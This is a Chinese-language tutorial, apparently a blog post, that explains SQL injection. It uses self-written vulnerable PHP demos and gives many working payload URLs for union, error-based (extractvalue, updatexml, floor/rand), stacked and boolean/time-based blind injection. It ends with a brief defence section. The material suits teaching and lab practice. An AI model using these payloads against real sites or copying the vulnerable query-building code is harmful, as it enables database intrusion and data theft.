0x01 sql介绍
通过对参数的污染,将恶意sql语句插入到数据库中执行的一种攻击方式。
0x02 sql注入原理
在进行数据库操作是,将sql语句与参数进行拼接,并放到数据库中执行。
如下面一段php代码
<?php
/*
...
*/连接数据库操作省略
$username = $_GET['username'];
$password = $_GET['password'];
$sql = "selet * from user where username = '$username' and password = '$password'";
$mysql_query($sql);
/*
...
*/数据库执行代码省略
?>
上面段代码就存在sql注入漏洞,很经典的能使用万能密码登陆
如当我们传入的参数是username = admin’ or 1=1 #&password = xxxx
$sql变量就为
$sql = "selet * from user where username = 'admin' or 1=1 # and password ='xxxx'"
带入数据库执行的语句就为
select * from user where username = 'admin' or 1=1 # and password = 'xxxx'
不管我们输入的用户名和密码是否正确,都会返回true,造成sql注入
0x03 sql注入分类
3.1 注入点分类
(1) get型注入
注入点在get参数中
http://www.test.com?username='test'&password='test'
如果username或者password参数存在注入,此注入为get型注入
(2) post注入
图中result参数如果存在注入为POST注入
cookie注入和head头注入等等原理差不多就不一一举例,一句话就是只是注入的点不同,其他基本没有什么差别
3.2 参数类型分类
(1) 字符型注入和数字型注入
注入的参数为字符类型,从代码层面更容易理解
如有这样一段代码
...
$username = $_GET['username'];
$offset = $_GET['offset'];
$sql = "select id ,username from user where username = '{$username}' limit 0,{$offset}";
...
上面一段代码中username参数为字符型,offset为数字型。
3.3 注入类型分类
union 注入
堆叠注入
盲注
报错注入
下面会按照注入类型分类,详细解释基础注入
0x04 sql注入的判断
sql注入的判断个人认为就是两步
- 想办法让页面报错
- 报错以后想办法让页面显示正确
例如数字型没有过滤的注入点判断
http://127.0.0.1/csdn/sql.php?username=test&offset=1 and 1=2 // 让页面报错
http://127.0.0.1/csdn/sql.php?username=test&offset=1 and 1=1 // 再让页面显示正确
这里就能基本确定该页面具有sql注入
再如字符型
http://127.0.0.1/csdn/sql.php?username=test' &offset=1 //参数由于没有闭合单引号而报错
http://127.0.0.1/csdn/sql.php?username=test' and '1'='1 &offset=1 //闭合单引号回显正确
这也能确定一个字符型注入
关键因素就这样步,但是这两步有多种方式,很多种语句,这需要在实战中不断积累
0x05 sql注入实例
5.1 union注入
union是什么呢
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同
union select 又叫联合查询
我们先看一段php代码
<?php
$id = $_GET['id'];
$sql = "select * from user where id >= $id";
$con = mysql_connect('127.0.0.1','root','root');
mysql_select_db('cms',$con);
$result = mysql_query($sql);
echo '<table>';
while($row = mysql_fetch_array($result)){
echo '<tr><th>'.$row[0].'</th>';
echo '<th>'.$row[1].'</th>';
echo '<th>'.$row[2].'</th></tr>';
}
echo '<table>';
mysql_close($con);
?>
这段代码是最简单的一个union注入例子,代码就是查询数据库里面user表大于某一id值得数据
正常访问
这里测试注入点直接使用and 1=2和and 1=1进行测试
首先需要使用order by来判断user表中的字段列数,判断列数方法
http://127.0.0.1/csdn/sql.php?id=0 order by 5
返回错误
然后使用二分法测试order by 为3时返回正常页面
然后测试回显点使用
http://127.0.0.1/csdn/sql.php?id=0 union select 1,2,3
由于这里我们将三个字段都显示出来了所以1,2,3三个地方都能插入我们的sql语句进行注入
测试如查询数据库版本号,数据库名,表名
union注入是sql注入中最快捷,最简单的注入方式
5.2 报错注入
报错注入原理是在网站编写过程中,sql语句执行失败发生错误时,错误会返回到网页,我们可以同过错误提示来带出我们需要查询得数据
这里也通过 一个自己写的demo来作为例子
<?php
$id = $_GET['id'];
$sql = "select * from csdn where id >= $id";
$con = mysql_connect('127.0.0.1','root','root');
$db = mysql_select_db('csdn');
$result = mysql_query($db,$sql);
if (!$result){
die(mysql_error($con));
}else{
echo "hacker hello!";
}
mysql_close($con);
?>
报错函数
1.floor(),rand(),group by
这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。当作为临时表主键重复时则会抛出异常。
具体原理这篇文章讲得很不错
注入语句
http://192.168.163.148/csdn/blind_sql.php?id=1 and (select 1 from (select count(*),concat(0x7e,version(),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a)#
2. extractvalue()
函数原型
EXTRACTVALUE (XML_document, XPath_string);
第二个参数路径不是路径符号(如~),则会报错,带出需要查询得信息
注入语句
http://192.168.163.148/csdn/blind_sql.php?id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
3. updatexml()
函数原型
UPDATEXML (XML_document, XPath_string, new_value);
原理于extractvalue()相同,同样为XPath_string参数
注入语句
http://192.168.163.148/csdn/blind_sql.php?id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#
上面三个函数是经常使用得,其他还有几个函数同样可以用到报错注入,但是这些函数收到数据库版本影响,具体版本我这里就不去探讨了
注入语句
4. geometrycollection()
http://192.168.163.148/csdn/blind_sql.php?id=1 and geometrycollection((select * from(select * from(select user())a)b))#
- multipoint()
http://192.168.163.148/csdn/blind_sql.php?id=1 and multipoint((select * from(select * from(select user())a)b))#
- polygon()
http://192.168.163.148/csdn/blind_sql.php?id=1 and polygon((select * from(select * from(select user())a)b))#
- multipolygon()
http://192.168.163.148/csdn/blind_sql.php?id=1 andmultipolygon((select * from(select * from(select user())a)b))#
- linestring()
http://192.168.163.148/csdn/blind_sql.php?id=1 and linestring((select * from(select * from(select user())a)b))#
- multilinestring()
http://192.168.163.148/csdn/blind_sql.php?id=1 and multilinestring((select * from(select * from(select user())a)b))#
- exp()
http://192.168.163.148/csdn/blind_sql.php?id=1 and exp(~(select * from(select user())a))#
5.3 堆叠注入
原理在原来注入注入语句后加上分号,后面再跟上我们需要注入的语句,可以实现增,删,改,查。后台逻辑主要使用多条语句执行函数如mysqli_multi_query()函数
代码如下
<?php
$id = $_GET['id'];
$con=mysqli_connect("localhost","root","root","csdn");
if (mysqli_connect_errno($con))
{
echo "连接到 MySQL 失败: " . mysqli_connect_error();
}
$sql = "select * from csdn where id >= $id";
if (mysqli_multi_query($con,$sql))
{
echo '<table>';
do
{
if ($result=mysqli_store_result($con))
{
while ($row=mysqli_fetch_row($result))
{
echo '<tr><th>'.$row[0].'</th>';
echo '<th>'.$row[1].'</th>';
echo '<th>'.$row[2].'</th></tr>';
}
mysqli_free_result($result);
}
}
while (mysqli_more_results($con) && mysqli_next_result($con));
echo '<table>';
}
mysqli_close($con);
?>
注入语句相对简单
http://192.168.163.148/csdn/sql.php?id=1; show tables;
这里报错是因为代码里面显示了 $row[1] 和 $row[2] 导致的。
5.4 盲注
盲注是注入中最常见的,也是最耗时的,但是也有相应的措施稍微加快盲注的效率,如在猜解字符时使用二分法,还有特定条件下使用带外通道直接获取注入数据(这里入门篇中不介绍,如需要私信留言发送相关资料),对于个人理解而言盲注分为:基于布尔和基于时间盲注
基于布尔的盲注
基于布尔的盲注条件是在sql语句出错时和正确时返回的页面不同
代码demo
<?php
$id = $_GET['id'];
$sql = "select * from csdn where id >= $id";
$con = mysql_connect('127.0.0.1','root','root');
$db = mysql_select_db('csdn');
$result = mysql_query($db,$sql);
if (!$result){
echo "hacker hello!"
}else{
echo "false";
}
mysql_close($con);
?>
注入语句当查询结果错误时
http://192.168.163.148/csdn/blind_sql.php?id=1 and length(database())=8--+
正确时
http://192.168.163.148/csdn/blind_sql.php?id=1 and length(database())=4--+
猜解数据库第一个字母,ascii函数二分法进行猜解
http://192.168.163.148/csdn/blind_sql.php?id=1 and ascii(substr(database(),1,1))>90#
第一个字母ASCII码99,'c’字符,同理这样猜解表,字段,内容。
基于时间的盲注
基于时间的盲注使用场景是有注入点但是sql语句执行成功和错误的返回页面是相同的
代码demo
<?php
$id = $_GET['id'];
$sql = "select * from csdn where id >= $id";
$con = mysql_connect('127.0.0.1','root','root');
$db = mysql_select_db('csdn');
$result = mysql_query($sql,$con );
$row = mysql_fetch_array($result);
if ($row){
echo "hacker hello!";
}else{
echo "hacker hello!";
}
mysql_close($con);
?>
使用if和sleep()函数联合,判断当sql语句执行时睡眠相应秒数,以区分sql语句是否正确
如果成功
http://192.168.163.148/csdn/blind_sql.php?id=1 and if((length(database())>2),sleep(5),0) --+
如果不成功
除了这些以外还有一些如二次注入,cookie注入,中专注入其实都是基础注入的结合和变种。
在写这篇文章时每个注入方式都是使用的自己写的demo作为例子,这样有助于从代码层面了解注入的本质。这也是学习的一个很好的方式。
如果需要练习注入,可以使用sqli-lab系列进行练习。
个人的git上有
https://github.com/Gr3enh4nd/study/blob/master/sql/sqli-labs.zip
0x06 防御方法
上次忘说防御方法了,最好的是在使用数据库执行语句时使用参数化预编译执行,这样能防止SQL注入,如果不能改变执行方式进行正则过滤,过滤一些关键字符,如select,union,引号等等,这些可以到网上搜索,我这里就不例举。